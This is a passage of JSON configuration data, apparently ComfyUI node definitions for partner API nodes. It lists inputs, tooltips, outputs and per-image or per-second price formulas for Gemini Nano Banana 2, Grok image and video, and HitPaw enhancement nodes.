must creatively invent a concrete visual scenario that depicts the concept.\nPrioritize generating the visual representation above any text, formatting, or conversational requests.", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed", "aspect_ratio", "resolution", "response_modalities", "thinking_level"], "optional": ["images", "files", "system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "STRING", "IMAGE"], "output_is_list": [false, false, false], "output_name": ["IMAGE", "STRING", "thought_image"], "output_tooltips": [null, null, "First image from the model's thinking process. Only available with thinking_level HIGH and IMAGE+TEXT modality."], "output_matchtypes": null, "name": "GeminiNanoBanana2", "display_name": "Nano Banana 2", "description": "Generate or edit images synchronously via Google Vertex API.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/image/Gemini", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $r := widgets.resolution;\n $isFlash := $contains($m, \"nano banana 2\");\n $flashPrices := {\"1k\": 0.0696, \"2k\": 0.1014, \"4k\": 0.154};\n $proPrices := {\"1k\": 0.134, \"2k\": 0.134, \"4k\": 0.24};\n $prices := $isFlash ? $flashPrices : $proPrices;\n {\"type\":\"usd\",\"usd\": $lookup($prices, $r), \"format\":{\"suffix\":\"/Image\",\"approximate\":true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiNanoBanana2V2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt describing the image to generate or the edits to apply. Include any constraints, styles, or details the model should follow.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Nano Banana 2 (Gemini 3.1 Flash Image)", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "If set to 'auto', matches your input image's aspect ratio; if no image is provided, a 16:9 square is usually generated.", "default": "auto", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", "9:16", "16:9", "21:9", "1:4", "4:1", "8:1", "1:8"]}], "resolution": ["COMBO", {"tooltip": "Target output resolution. For 2K/4K the native Gemini upscaler is used.", "multiselect": false, "options": ["1K", "2K", "4K"]}], "thinking_level": ["COMBO", {"multiselect": false, "options": ["MINIMAL", "HIGH"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s). Up to 14 images total.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14"], "min": 0}}]}, "optional": {"files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Generate Content Input Files node."}]}}}]}], "seed": ["INT", {"tooltip": "When the seed is fixed to a specific value, the model makes a best effort to provide the same response for repeated requests. Deterministic output isn't guaranteed. Also, changing the model or parameter settings, such as the temperature, can cause variations in the response even when you use the same seed value. By default, a random seed value is used.", "default": 42, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "response_modalities": ["COMBO", {"advanced": true, "multiselect": false, "options": ["IMAGE", "IMAGE+TEXT"]}]}, "optional": {"system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate an AI's behavior.", "advanced": true, "default": "You are an expert image-generation engine. You must ALWAYS produce an image.\nInterpret all user input\u2014regardless of format, intent, or abstraction\u2014as literal visual directives for image composition.\nIf a prompt is conversational or lacks specific visual details, you must creatively invent a concrete visual scenario that depicts the concept.\nPrioritize generating the visual representation above any text, formatting, or conversational requests.", "multiline": true}], "temperature": ["FLOAT", {"tooltip": "Controls randomness in generation. Lower is more focused/deterministic.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling threshold. Lower is more focused, higher more diverse.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed", "response_modalities"], "optional": ["system_prompt", "temperature", "top_p"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "STRING", "IMAGE"], "output_is_list": [false, false, false], "output_name": ["IMAGE", "STRING", "thought_image"], "output_tooltips": [null, null, "First image from the model's thinking process. Only available with thinking_level HIGH and IMAGE+TEXT modality."], "output_matchtypes": null, "name": "GeminiNanoBanana2V2", "display_name": "Nano Banana 2", "description": "Generate or edit images synchronously via Google Vertex API.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/image/Gemini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $r := $lookup(widgets, \"model.resolution\");\n $prices := {\"1k\": 0.0696, \"2k\": 0.1014, \"4k\": 0.154};\n {\"type\":\"usd\",\"usd\": $lookup($prices, $r), \"format\":{\"suffix\":\"/Image\",\"approximate\":true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiInputFiles": {"input": {"required": {"file": ["COMBO", {"tooltip": "Input files to include as context for the model. Only accepts text (.txt) and PDF (.pdf) files for now.", "multiselect": false, "options": []}]}, "optional": {"GEMINI_INPUT_FILES": ["GEMINI_INPUT_FILES", {"tooltip": "An optional additional file(s) to batch together with the file loaded from this node. Allows chaining of input files so that a single message can include multiple input files."}]}}, "input_order": {"required": ["file"], "optional": ["GEMINI_INPUT_FILES"]}, "is_input_list": false, "output": ["GEMINI_INPUT_FILES"], "output_is_list": [false], "output_name": ["GEMINI_INPUT_FILES"], "output_tooltips": [null], "output_matchtypes": null, "name": "GeminiInputFiles", "display_name": "Gemini Input Files", "description": "Loads and prepares input files to include as inputs for Gemini LLM nodes. The files will be read by the Gemini model when generating a response. The contents of the text file count toward the token limit. \ud83d\udec8 TIP: Can be chained together with other Gemini Input File nodes.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/text/Gemini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokImageNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["grok-imagine-image-quality", "grok-imagine-image-pro", "grok-imagine-image"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the image", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["1:1", "2:3", "3:2", "3:4", "4:3", "9:16", "16:9", "9:19.5", "19.5:9", "9:20", "20:9", "1:2", "2:1"]}], "number_of_images": ["INT", {"tooltip": "Number of images to generate", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "aspect_ratio", "number_of_images", "seed"], "optional": ["resolution"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokImageNode", "display_name": "Grok Image", "description": "Generate images using Grok based on a text prompt", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/image/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "number_of_images", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate := widgets.model = \"grok-imagine-image-quality\"\n ? (widgets.resolution = \"1k\" ? 0.05 : 0.07)\n : ($contains(widgets.model, \"pro\") ? 0.07 : 0.02);\n {\"type\":\"usd\",\"usd\": $rate * widgets.number_of_images}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokImageEditNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["grok-imagine-image-quality", "grok-imagine-image-pro", "grok-imagine-image"]}], "image": ["IMAGE", {"display_name": "images"}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the image", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K"]}], "number_of_images": ["INT", {"tooltip": "Number of edited images to generate", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"aspect_ratio": ["COMBO", {"tooltip": "Only allowed when multiple images are connected to the image input.", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "9:16", "16:9", "9:19.5", "19.5:9", "9:20", "20:9", "1:2", "2:1"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt", "resolution", "number_of_images", "seed"], "optional": ["aspect_ratio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokImageEditNode", "display_name": "Grok Image Edit", "description": "Modify an existing image based on a text prompt", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/image/Grok", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "number_of_images", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $isQualityModel := widgets.model = \"grok-imagine-image-quality\";\n $isPro := $contains(widgets.model, \"pro\");\n $rate := $isQualityModel\n ? (widgets.resolution = \"1k\" ? 0.05 : 0.07)\n : ($isPro ? 0.07 : 0.02);\n $base := $isQualityModel ? 0.01 : 0.002;\n $output := $rate * widgets.number_of_images;\n $isPro\n ? {\"type\":\"usd\",\"usd\": $base + $output}\n : {\"type\":\"range_usd\",\"min_usd\": $base + $output, \"max_usd\": 3 * $base + $output}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokImageEditNodeV2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "The text prompt used to generate the image", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "grok-imagine-image-quality", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Reference image(s) to edit. Up to 3 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3"], "min": 1}}], "resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K"]}], "number_of_images": ["INT", {"tooltip": "Number of edited images to generate", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "aspect_ratio": ["COMBO", {"tooltip": "Only allowed when multiple images are connected.", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "9:16", "16:9", "9:19.5", "19.5:9", "9:20", "20:9", "1:2", "2:1"]}]}}}, {"key": "grok-imagine-image-pro", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Reference image to edit.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1"], "min": 1}}], "resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K"]}], "number_of_images": ["INT", {"tooltip": "Number of edited images to generate", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}]}}}, {"key": "grok-imagine-image", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Reference image(s) to edit. Up to 3 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3"], "min": 1}}], "resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K"]}], "number_of_images": ["INT", {"tooltip": "Number of edited images to generate", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "aspect_ratio": ["COMBO", {"tooltip": "Only allowed when multiple images are connected.", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "9:16", "16:9", "9:19.5", "19.5:9", "9:20", "20:9", "1:2", "2:1"]}]}}}]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokImageEditNodeV2", "display_name": "Grok Image Edit", "description": "Modify an existing image based on a text prompt", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/image/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.number_of_images", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $isQualityModel := widgets.model = \"grok-imagine-image-quality\";\n $isPro := $contains(widgets.model, \"pro\");\n $res := $lookup(widgets, \"model.resolution\");\n $n := $lookup(widgets, \"model.number_of_images\");\n $rate := $isQualityModel\n ? ($res = \"1k\" ? 0.05 : 0.07)\n : ($isPro ? 0.07 : 0.02);\n $base := $isQualityModel ? 0.01 : 0.002;\n $output := $rate * $n;\n $isPro\n ? {\"type\":\"usd\",\"usd\": $base + $output}\n : {\"type\":\"range_usd\",\"min_usd\": $base + $output, \"max_usd\": 3 * $base + $output}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokVideoNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "grok-imagine-video-1.5 currently always requires an input image.", "multiselect": false, "options": ["grok-imagine-video", "grok-imagine-video-1.5"]}], "prompt": ["STRING", {"tooltip": "Text description of the desired video.", "multiline": true}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video. 1080p is only available for grok-imagine-video-1.5.", "multiselect": false, "options": ["480p", "720p", "1080p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["auto", "16:9", "4:3", "3:2", "1:1", "2:3", "3:4", "9:16"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 6, "min": 1, "max": 15, "step": 1, "display": "slider"}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"image": ["IMAGE", {"tooltip": "Optional starting image for grok-imagine-video. Required for grok-imagine-video-1.5."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "resolution", "aspect_ratio", "duration", "seed"], "optional": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokVideoNode", "display_name": "Grok Video", "description": "Generate video from a prompt or an image", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/video/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": ["image"], "input_groups": []}, "expr": "\n (\n $is15 := $contains(widgets.model, \"1.5\");\n $rate := $is15\n ? (widgets.resolution = \"1080p\" ? 0.25 : (widgets.resolution = \"720p\" ? 0.14 : 0.08))\n : (widgets.resolution = \"720p\" ? 0.07 : 0.05);\n $imgCost := $is15 ? 0.01 : 0.002;\n $base := $rate * widgets.duration;\n $total := inputs.image.connected ? $base + $imgCost : $base;\n {\"type\":\"usd\",\"usd\": $is15 ? $total * 1.43 : $total}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokVideoReferenceNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the desired video.", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The model to use for video generation.", "options": [{"key": "grok-imagine-video", "inputs": {"required": {"reference_images": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 7 reference images to guide the video generation.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "reference_", "min": 1, "max": 7}}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video.", "multiselect": false, "options": ["480p", "720p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["16:9", "4:3", "3:2", "1:1", "2:3", "3:4", "9:16"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 6, "min": 2, "max": 10, "step": 1, "display": "slider"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokVideoReferenceNode", "display_name": "Grok Reference-to-Video", "description": "Generate video guided by reference images as style and content references.", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/video/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model.duration", "type": "INT"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": ["model.reference_images"]}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $refs := $lookup(inputGroups, \"model.reference_images\");\n $rate := $res = \"720p\" ? 0.07 : 0.05;\n $price := ($rate * $dur + 0.002 * $refs) * 1.43;\n {\"type\":\"usd\",\"usd\": $price}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokVideoEditNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["grok-imagine-video"]}], "prompt": ["STRING", {"tooltip": "Text description of the desired video.", "multiline": true}], "video": ["VIDEO", {"tooltip": "Maximum supported duration is 8.7 seconds and 50MB file size."}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "video", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokVideoEditNode", "display_name": "Grok Video Edit", "description": "Edit an existing video based on a text prompt.", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/video/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.06, \"format\": {\"suffix\": \"/sec\", \"approximate\": true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokVideoExtendNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of what should happen next in the video.", "multiline": true}], "video": ["VIDEO", {"tooltip": "Source video to extend. MP4 format, 2-15 seconds."}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The model to use for video extension.", "options": [{"key": "grok-imagine-video", "inputs": {"required": {"duration": ["INT", {"tooltip": "Length of the extension in seconds.", "default": 8, "min": 2, "max": 10, "step": 1, "display": "slider"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "video", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokVideoExtendNode", "display_name": "Grok Video Extend", "description": "Extend an existing video with a seamless continuation based on a text prompt.", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/video/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $dur := $lookup(widgets, \"model.duration\");\n {\n \"type\": \"range_usd\",\n \"min_usd\": (0.02 + 0.05 * $dur) * 1.43,\n \"max_usd\": (0.15 + 0.05 * $dur) * 1.43\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HitPawGeneralImageEnhance": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["generative_portrait", "generative"]}], "image": ["IMAGE", {}], "upscale_factor": ["COMBO", {"multiselect": false, "options": [1, 2, 4]}], "auto_downscale": ["BOOLEAN", {"tooltip": "Automatically downscale input image if output would exceed the limit.", "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "upscale_factor", "auto_downscale"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "HitPawGeneralImageEnhance", "display_name": "HitPaw General Image Enhance", "description": "Upscale low-resolution images to super-resolution, eliminate artifacts and noise. Maximum output: 32 megapixels.", "python_module": "comfy_api_nodes.nodes_hitpaw", "category": "partner/image/HitPaw", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"generative_portrait\": {\"min\": 0.02, \"max\": 0.06},\n \"generative\": {\"min\": 0.05, \"max\": 0.15}\n };\n $price := $lookup($prices, widgets.model);\n {\n \"type\": \"range_usd\",\n \"min_usd\": $price.min,\n \"max_usd\": $price.max\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HitPawVideoEnhance": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Portrait Restore Model (1x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "Portrait Restore Model (2x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "General Restore Model (1x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "General Restore Model (2x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "General Restore Model (4x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "Ultra HD Model (2x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "Generative Model (1x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD"]}]}}}]}], "video": ["VIDEO", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "video"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "HitPawVideoEnhance", "display_name": "HitPaw Video Enhance", "description": "Upscale low-resolution videos to high resolution, eliminate artifacts and noise. Prices shown are per second of video.", "python_module": "comfy_api_nodes.nodes_hitpaw", "category": "partner/video/HitPaw", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := $lookup(widgets, \"model\");\n $res := $lookup(widgets, \"model.resolution\");\n $standard_model_prices := {\n \"original\": {\"min\": 0.01, \"max\": 0.198},\n \"720p\": {\"min\": 0.01, \"max\": 0.06},\n \"1080p\": {\"min\": 0.015, \"max\": 0.09},\n \"2k/qhd\": {\"min\": 0.02, \"max\": 0.117},\n \"4k/uhd\": {\"min\": 0.025, \"max\": 0.152},\n \"8k\": {\"min\": 0.033, \"max\": 0.198}\n };\n $ultra_hd_model_prices := {\n \"original\": {\"min\": 0.015, \"max\": 0.264},\n \"720p\": {\"min\": 0.015, \"max\": 0.092},\n \"1080p\": {\"min\": 0.02, \"max\": 0.12},\n \"2k/qhd\": {\"min\": 0.026, \"max\": 0.156},\n \"4k/uhd\": {\"min\": 0.034, \"max\": 0.203},\n \"8k\": {\"min\": 0.044, \"max\": 0.264}\n };\n $generative_model_prices := {\n \"original\": {\"min\": 0.015, \"max\": 0.338},\n \"720p\": {\"min\": 0.008, \"max\": 0.090},\n \"1080p\": {\"min\": 0.05, \"max\": 0.15},\n \"2k/qhd\": {\"min\": 0.038, \"max\": 0.225},\n \"4k/uhd\": {\"min\": 0.056, \"max\": 0.338}\n };\n $prices := $contains($m, \"ultra hd\") ? $ultra_hd_model_prices :\n $contains($m, \"generative\") ? $generative_model_prices :\n $standard_model_prices;\n $price := $lookup($prices, $res);\n {\n \"type\": \"range_usd\",\n \"min_usd\": $price.min,\n \"max_usd\": $price.max,\n \"format\": {\"approximate\": true, \"suffix\": \"/second\"}\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, 